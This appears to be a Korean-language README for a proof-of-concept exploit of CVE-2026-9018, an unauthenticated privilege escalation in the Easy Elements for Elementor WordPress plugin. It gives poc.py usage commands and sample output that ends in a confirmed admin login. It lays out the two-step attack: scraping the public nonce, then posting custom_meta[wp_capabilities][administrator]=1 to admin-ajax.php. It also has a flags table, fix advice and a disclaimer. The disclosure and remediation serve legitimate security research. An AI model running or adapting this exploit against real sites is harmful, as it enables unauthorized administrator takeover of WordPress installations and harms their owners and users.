
Unauthenticated Privilege Escalation CVE-2026-9018: Easy Elements for Elementor
연구자: Atomic Edge 심각도: 높음 | CVSS: 8.8 | 인증 필요: 없음
인증되지 않은 권한 상승 취약점이 Easy Elements for Elementor – Addons & Website Templates WordPress 플러그인(버전 ≤ 1.4.5)에 존재합니다. wp_ajax_nopriv_eel_register AJAX 핸들러를 통해 노출된 easyel_handle_register() 함수는 공격자가 제어하는 custom_meta POST 값을 키 확인 없이 update_user_meta()에 직접 전달합니다. 이를 통해 인증되지 않은 공격자가 wp_capabilities 메타 키를 덮어쓰고 관리자 수준 계정을 생성할 수 있습니다.
익스플로잇 전에 대상 사이트에서 다음 조건이 충족되어야 합니다:
설정 → 일반 → 누구나 가입 가능)easy_elements_nonce 값을 노출해야 함pip install requests
# 기본 — 홈페이지에서 nonce 가져오기
python3 poc.py -u https://target.com
# 사용자 지정 자격 증명
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# 위젯이 /login/ 페이지에 있는 경우
python3 poc.py -u https://target.com --nonce-page /login/
# SSL 인증 건너뛰기
python3 poc.py -u https://target.com --no-verify
# 익스플로잇 후 로그인 확인 건너뛰기
python3 poc.py -u https://target.com --skip-verify-login
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : [email protected]
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
익스플로잇은 두 단계로 이루어집니다:
1단계 — Nonce 수집
플러그인의 로그인/등록 Elementor 위젯은 페이지 HTML에 숨겨진 easy_elements_nonce 필드를 렌더링합니다. 이 nonce는 인증되지 않은 모든 방문자에게 공개적으로 접근 가능하며 페이지 소스에서 정규식을 통해 추출됩니다.
2단계 — 악의적인 등록
action=eel_register와 함께 POST 요청이 /wp-admin/admin-ajax.php로 전송됩니다. custom_meta 배열은 다음을 포함하도록 조작됩니다:
custom_meta[wp_capabilities][administrator] = 1
easyel_handle_register()가 화이트리스트 없이 모든 custom_meta 키를 직접 update_user_meta()에 전달하기 때문에, 등록 후 wp_capabilities 사용자 메타가 덮어쓰여져 새 사용자에게 전체 관리자 권한이 부여됩니다.
개발자는 easyel_handle_register()에 다음 수정 사항을 적용해야 합니다:
custom_meta 키에 대한 엄격한 화이트리스트 구현 (예: first_name, last_name, phone)wp_capabilities, wp_user_level, session_tokenswp_insert_user() 이후 사용자가 제공한 메타를 전혀 처리하지 않음→ 즉시 Easy Elements for Elementor 1.4.6 이상으로 업데이트하세요.
이 저장소는 공인된 보안 연구 및 교육 목적으로만 사용됩니다. 시스템 소유자의 명시적인 서면 허가 없이 이 도구를 사용하지 마십시오. 무단 사용은 CFAA(미국), 형법 s.342.1(캐나다), EU NIS2 지침 및 기타 관련 법률을 위반할 수 있습니다. 저자는 이 코드로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.
| 속성 | 세부사항 |
|---|
| 플러그인 | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| 영향받는 버전 | ≤ 1.4.5 |
| 수정된 버전 | 1.4.6+ |
| 공격 벡터 | 네트워크 / 인증되지 않음 |
| CWE | CWE-269: 부적절한 권한 관리 |
| AJAX 액션 | eel_register (nopriv) |
| 플래그 | 설명 | 기본값 |
|---|
-u, --url | 대상 WordPress URL | (필수) |
-U, --username | 새 관리자 계정의 사용자 이름 | atomic_admin |
-e, --email | 새 관리자 계정의 이메일 | [email protected] |
-p, --password | 새 관리자 계정의 비밀번호 | Atomic@Edge2026! |
-np, --nonce-page | 로그인/등록 위젯이 포함된 페이지 경로 | / |
--no-verify | SSL 인증서 확인 비활성화 | false |
--skip-verify-login | 익스플로잇 후 WP 관리자 로그인 확인 건너뛰기 | false |